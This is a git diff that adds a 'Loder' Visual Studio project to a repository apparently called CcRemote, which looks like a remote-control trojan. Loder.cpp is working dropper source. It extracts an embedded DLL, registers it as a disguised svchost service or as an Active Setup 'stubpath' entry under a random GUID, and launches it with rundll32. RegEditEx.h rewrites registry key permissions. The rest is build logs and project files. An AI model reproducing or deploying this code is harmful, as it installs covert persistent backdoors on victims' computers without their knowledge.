f:\myapp\ccremote\ccmaindll\loder\loder.cpp(293): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(298): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
Loder.vcxproj -> F:\myapp\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe
|
BIN
CcMainDll/Loder/Debug/Loder.res
Normal file
2
CcMainDll/Loder/Debug/Loder.tlog/Loder.lastbuildstate
Normal file
@@ -0,0 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|Win32|F:\myapp\CcRemote\CcMainDll\|
|
325
CcMainDll/Loder/Loder.cpp
Normal file
@@ -0,0 +1,325 @@
|
||||
// Loder.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
|
||||
//
|
||||
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
#include "resource.h"
|
||||
#include "RegEditEx.h"
|
||||
#include <shlobj.h>
|
||||
|
||||
#pragma comment(lib, "shell32.lib")
|
||||
|
||||
bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
|
||||
{
|
||||
DWORD dwWritten;
|
||||
|
||||
HANDLE hFile = CreateFile(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
||||
if (hFile != NULL)
|
||||
{
|
||||
WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL);
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return true;
|
||||
}
|
||||
//要释放的路径 资源ID 资源名
|
||||
bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResourceName)
|
||||
{
|
||||
HRSRC hResInfo;
|
||||
HGLOBAL hResData;
|
||||
DWORD dwSize;
|
||||
LPBYTE p;
|
||||
// 查找所需的资源
|
||||
hResInfo = FindResource(NULL, MAKEINTRESOURCE(nResourceID), strResourceName);
|
||||
if (hResInfo == NULL)
|
||||
{
|
||||
//MessageBox(NULL, "查找资源失败!", "错误", MB_OK | MB_ICONINFORMATION);
|
||||
return false;
|
||||
}
|
||||
// 获得资源尺寸
|
||||
dwSize = SizeofResource(NULL, hResInfo);
|
||||
// 装载资源
|
||||
hResData = LoadResource(NULL, hResInfo);
|
||||
if (hResData == NULL)
|
||||
{
|
||||
//MessageBox(NULL, "装载资源失败!", "错误", MB_OK | MB_ICONINFORMATION);
|
||||
return false;
|
||||
}
|
||||
// 为数据分配空间
|
||||
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
|
||||
if (p == NULL)
|
||||
{
|
||||
//MessageBox(NULL, "分配内存失败!", "错误", MB_OK | MB_ICONINFORMATION);
|
||||
return false;
|
||||
}
|
||||
// 复制资源数据
|
||||
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
|
||||
|
||||
bool bRet = CreateMyFile(strFilePath, p, dwSize);
|
||||
if (!bRet)
|
||||
{
|
||||
GlobalFree((HGLOBAL)p);
|
||||
return false;
|
||||
}
|
||||
|
||||
GlobalFree((HGLOBAL)p);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
char *AddsvchostService()
|
||||
{
|
||||
char *lpServiceName = NULL;
|
||||
int rc = 0;
|
||||
HKEY hkRoot;
|
||||
char buff[2048];
|
||||
//打开装所有svchost服务名的注册表键
|
||||
//query svchost setting
|
||||
char *ptr;
|
||||
char pSvchost[] = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
|
||||
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot);
|
||||
if (ERROR_SUCCESS != rc)
|
||||
return NULL;
|
||||
|
||||
DWORD type, size = sizeof buff;
|
||||
//枚举他所有的服务名
|
||||
rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)buff, &size);
|
||||
SetLastError(rc);
|
||||
if (ERROR_SUCCESS != rc)
|
||||
RegCloseKey(hkRoot);
|
||||
|
||||
int i = 0;
|
||||
bool bExist = false;
|
||||
char servicename[50];
|
||||
do
|
||||
{
|
||||
//这里获得类似这样的服务名netsvcs_0,netsvcs_1。。。。。。。
|
||||
wsprintf(servicename, "netsvcs_0x%d", i);
|
||||
for (ptr = buff; *ptr; ptr = strchr(ptr, 0) + 1)
|
||||
{
|
||||
//然后比对一下服务名中是否有这个名字了
|
||||
if (lstrcmpi(ptr, servicename) == 0)
|
||||
{
|
||||
bExist = true;
|
||||
break; //如果没有就跳出
|
||||
}
|
||||
}
|
||||
if (bExist == false)
|
||||
break;
|
||||
bExist = false;
|
||||
i++;
|
||||
} while (1);
|
||||
|
||||
servicename[lstrlen(servicename) + 1] = '\0';
|
||||
//然后将这个服务名写到所有服务名的后面,
|
||||
//不要妄想,直接用api在一个注册表的键值后面添加一些信息
|
||||
memcpy(buff + size - 1, servicename, lstrlen(servicename) + 2);
|
||||
//然后将含有新服务名的缓冲区写入注册表,注册表里原有内容被覆盖
|
||||
rc = RegSetValueEx(hkRoot, "netsvcs", 0, REG_MULTI_SZ, (unsigned char*)buff, size + lstrlen(servicename) + 1);
|
||||
|
||||
RegCloseKey(hkRoot);
|
||||
|
||||
SetLastError(rc);
|
||||
|
||||
if (bExist == false)
|
||||
{
|
||||
lpServiceName = new char[lstrlen(servicename) + 1];
|
||||
lstrcpy(lpServiceName, servicename);
|
||||
}
|
||||
//回到 InstallService
|
||||
return lpServiceName;
|
||||
}
|
||||
|
||||
void StartService(LPCTSTR lpService)
|
||||
{
|
||||
SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
if (NULL != hSCManager)
|
||||
{
|
||||
SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
|
||||
if (NULL != hService)
|
||||
{
|
||||
StartService(hService, 0, NULL);
|
||||
CloseServiceHandle(hService);
|
||||
printf("lpService");
|
||||
}
|
||||
CloseServiceHandle(hSCManager);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int ServerSetup()
|
||||
{
|
||||
|
||||
//CreateEXE("E:\\aaa.dll", IDR_DLL1, "DLL");
|
||||
char lpServiceDescription[]= "CcRemote服务";
|
||||
char strModulePath[MAX_PATH];
|
||||
char strSysDir[MAX_PATH];
|
||||
char strSubKey[1024];
|
||||
DWORD dwStartType = 0;
|
||||
char strRegKey[1024];
|
||||
int rc = 0;
|
||||
HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
|
||||
SC_HANDLE hscm = NULL, schService = NULL;
|
||||
|
||||
//打开服务
|
||||
hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
|
||||
GetSystemDirectory(strSysDir, sizeof(strSysDir));
|
||||
char bin[] = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";
|
||||
char *lpServiceName = AddsvchostService(); //*添加的代码在这个函数中*
|
||||
char lpServiceDisplayName[128] = {0};
|
||||
wsprintf(lpServiceDisplayName, "%s_ms,", lpServiceName);
|
||||
//这里返回新的服务名后就构造服务dll的名字
|
||||
memset(strModulePath, 0, sizeof(strModulePath));
|
||||
wsprintf(strModulePath, "%s\\%sex.dll", strSysDir, lpServiceName);
|
||||
|
||||
//然后构造服务中的描述信息的位置
|
||||
wsprintf(strRegKey, "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
|
||||
|
||||
schService = CreateService(
|
||||
hscm, // SCManager database
|
||||
lpServiceName, // name of service
|
||||
lpServiceDisplayName, // service name to display
|
||||
SERVICE_ALL_ACCESS, // desired access
|
||||
SERVICE_WIN32_OWN_PROCESS,
|
||||
SERVICE_AUTO_START, // start type
|
||||
SERVICE_ERROR_NORMAL, // error control type
|
||||
bin, // service's binary
|
||||
NULL, // no load ordering group
|
||||
NULL, // no tag identifier
|
||||
NULL, // no dependencies
|
||||
NULL, // LocalSystem account
|
||||
NULL); // no password
|
||||
dwStartType = SERVICE_WIN32_OWN_PROCESS;
|
||||
|
||||
if (schService == NULL)
|
||||
{
|
||||
throw "CreateService(Parameters)";
|
||||
printf("schServicenull");
|
||||
}
|
||||
|
||||
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(hscm);
|
||||
|
||||
hkRoot = HKEY_LOCAL_MACHINE;
|
||||
//这里构造服务的描述键
|
||||
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
|
||||
if (dwStartType == SERVICE_WIN32_SHARE_PROCESS)
|
||||
{
|
||||
DWORD dwServiceType = 0x120;
|
||||
|
||||
//写入服务的描述
|
||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Type", REG_DWORD, (char *)&dwServiceType, sizeof(DWORD), 0);
|
||||
}
|
||||
//写入服务的描述
|
||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Description", REG_SZ, (char *)lpServiceDescription, lstrlen(lpServiceDescription), 0);
|
||||
|
||||
lstrcat(strSubKey, "\\Parameters");
|
||||
//写入服务的描述
|
||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceDll", REG_EXPAND_SZ, (char *)strModulePath, lstrlen(strModulePath), 0);
|
||||
|
||||
if (schService != NULL)
|
||||
{
|
||||
CreateEXE(strModulePath, IDR_DLL1, "DLL");
|
||||
StartService(lpServiceName);
|
||||
}
|
||||
RegCloseKey(hkRoot);
|
||||
RegCloseKey(hkParam);
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(hscm);
|
||||
system("pause");
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
BOOL GetNUM(char *num)
|
||||
{
|
||||
CoInitialize(NULL);
|
||||
char buf[64] = { 0 };
|
||||
GUID guid;
|
||||
if (S_OK == ::CoCreateGuid(&guid))
|
||||
{
|
||||
_snprintf(buf, sizeof(buf)
|
||||
, "{%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X}"
|
||||
, guid.Data1
|
||||
, guid.Data2
|
||||
, guid.Data3
|
||||
, guid.Data4[0], guid.Data4[1], guid.Data4[2]
|
||||
, guid.Data4[3], guid.Data4[4], guid.Data4[5]
|
||||
, guid.Data4[6], guid.Data4[7]
|
||||
);
|
||||
}
|
||||
CoUninitialize();
|
||||
memcpy(num, buf, 64);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void ActiveXSetup()
|
||||
{
|
||||
HKEY hKey;
|
||||
char strFileName[MAX_PATH]; // dll文件名
|
||||
char ActivexStr[1024]; // 用于存储ActiveX的键字串
|
||||
char ActiveXKey[64]; // ActiveX 的GUID字串
|
||||
char strCmdLine[MAX_PATH]; // 存储启动的命令行参数
|
||||
|
||||
// ActiveX路径
|
||||
char ActiveXPath[MAX_PATH] = "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\";
|
||||
|
||||
ZeroMemory(strFileName, MAX_PATH);
|
||||
//ZeroMemory(ActiveXPath, MAX_PATH);
|
||||
ZeroMemory(ActivexStr, 1024);
|
||||
ZeroMemory(ActiveXKey, 64);
|
||||
ZeroMemory(strCmdLine, MAX_PATH);
|
||||
|
||||
//得到Activex路径
|
||||
//strcpy(ActiveXPath, "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\");
|
||||
//得到Activex的GUID
|
||||
GetNUM(ActiveXKey);
|
||||
//构造dll完整文件名
|
||||
//GetSystemDirectory(strFileName, MAX_PATH);
|
||||
SHGetSpecialFolderPath(NULL, strFileName, CSIDL_COMMON_PICTURES, TRUE);
|
||||
strcat(strFileName, "\\");
|
||||
strcat(strFileName, ActiveXKey);
|
||||
strcat(strFileName, ".dll");
|
||||
|
||||
|
||||
|
||||
//构造ActiveX的注册表键值
|
||||
sprintf(ActivexStr, "%s%s", ActiveXPath, ActiveXKey);
|
||||
//创建这个注册表
|
||||
RegCreateKey(HKEY_LOCAL_MACHINE, ActivexStr, &hKey);
|
||||
|
||||
//构造程序启动的命令行参数
|
||||
sprintf(strCmdLine, "%s %s,FirstRun", "rundll32.exe", strFileName);
|
||||
//将参数写道注册表中
|
||||
RegSetValueEx(hKey, "stubpath", 0, REG_EXPAND_SZ, (BYTE *)strCmdLine, lstrlen(strCmdLine));
|
||||
RegCloseKey(hKey);
|
||||
//释放文件
|
||||
CreateEXE(strFileName, IDR_DLL1, "DLL");
|
||||
|
||||
//启动服务端
|
||||
STARTUPINFO StartInfo;
|
||||
PROCESS_INFORMATION ProcessInformation;
|
||||
StartInfo.cb = sizeof(STARTUPINFO);
|
||||
StartInfo.lpDesktop = NULL;
|
||||
StartInfo.lpReserved = NULL;
|
||||
StartInfo.lpTitle = NULL;
|
||||
StartInfo.dwFlags = STARTF_USESHOWWINDOW;
|
||||
StartInfo.cbReserved2 = 0;
|
||||
StartInfo.lpReserved2 = NULL;
|
||||
StartInfo.wShowWindow = SW_SHOWNORMAL;
|
||||
BOOL bReturn = CreateProcess(NULL, strCmdLine, NULL, NULL, FALSE, NULL, NULL, NULL, &StartInfo, &ProcessInformation);
|
||||
return;
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
// TODO: Place code here.
|
||||
ActiveXSetup();
|
||||
return 0;
|
||||
}
|
BIN
CcMainDll/Loder/Loder.rc
Normal file
181
CcMainDll/Loder/Loder.vcxproj
Normal file
@@ -0,0 +1,181 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>15.0</VCProjectVersion>
|
||||
<ProjectGuid>{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>Loder</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<OutDir>..\\..\\bin\\server</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>..\\..\\bin\\server</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Loder.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="RegEditEx.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Loder.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\bin\server\CcMainDll.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="icon1.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
43
CcMainDll/Loder/Loder.vcxproj.filters
Normal file
@@ -0,0 +1,43 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Loder.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="resource.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="RegEditEx.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Loder.rc">
|
||||
<Filter>资源文件</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\bin\server\CcMainDll.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="icon1.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
</ItemGroup>
|
||||
</Project>
|
4
CcMainDll/Loder/Loder.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
243
CcMainDll/Loder/RegEditEx.h
Normal file
@@ -0,0 +1,243 @@
|
||||
#include <windows.h>
|
||||
|
||||
//ȥ<><C8A5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>Ŀո<C4BF>
|
||||
char *DelSpace(char *szData)
|
||||
{
|
||||
int i=0 ;
|
||||
while(1)
|
||||
{
|
||||
if(strnicmp(szData+i," ",1))
|
||||
break;
|
||||
i++;
|
||||
}
|
||||
return (szData+i);
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1>Ȩ<EFBFBD><C8A8>(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS)
|
||||
int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security)
|
||||
{
|
||||
HKEY hKey;
|
||||
SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY;
|
||||
PSID pSystemSid = NULL;
|
||||
PSID pUserSid = NULL;
|
||||
SECURITY_DESCRIPTOR sd;
|
||||
PACL pDacl = NULL;
|
||||
DWORD dwAclSize;
|
||||
int iResult = 0;
|
||||
|
||||
__try
|
||||
{
|
||||
if(RegOpenKeyEx(MainKey, SubKey, 0, WRITE_DAC, &hKey)!= ERROR_SUCCESS)
|
||||
__leave;
|
||||
if(!AllocateAndInitializeSid(&sia,1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid ))
|
||||
__leave;
|
||||
if(!AllocateAndInitializeSid( &sia, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,0, 0, 0, 0, 0, 0, &pUserSid))
|
||||
__leave;
|
||||
dwAclSize = sizeof(ACL) + 2 * ( sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD) ) + GetLengthSid(pSystemSid) + GetLengthSid(pUserSid) ;
|
||||
pDacl = (PACL)HeapAlloc(GetProcessHeap(), 0, dwAclSize);
|
||||
if(pDacl == NULL)
|
||||
__leave;
|
||||
if(!InitializeAcl(pDacl, dwAclSize, ACL_REVISION))
|
||||
__leave;
|
||||
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, KEY_ALL_ACCESS, pSystemSid ))
|
||||
__leave;
|
||||
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, (unsigned long)security, pUserSid ))
|
||||
__leave;
|
||||
if(!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
|
||||
__leave;
|
||||
if(!SetSecurityDescriptorDacl(&sd, TRUE, pDacl, FALSE))
|
||||
__leave;
|
||||
if(RegSetKeySecurity(hKey, (SECURITY_INFORMATION)DACL_SECURITY_INFORMATION, &sd)!= ERROR_SUCCESS)
|
||||
__leave;
|
||||
iResult =1;
|
||||
}
|
||||
__finally
|
||||
{
|
||||
RegCloseKey(MainKey);
|
||||
RegCloseKey(hKey);
|
||||
|
||||
if(pDacl !=NULL)
|
||||
HeapFree(GetProcessHeap(), 0, pDacl);
|
||||
if(pSystemSid !=NULL)
|
||||
FreeSid(pSystemSid);
|
||||
if(pUserSid !=NULL)
|
||||
FreeSid(pUserSid);
|
||||
}
|
||||
|
||||
return iResult;
|
||||
}
|
||||
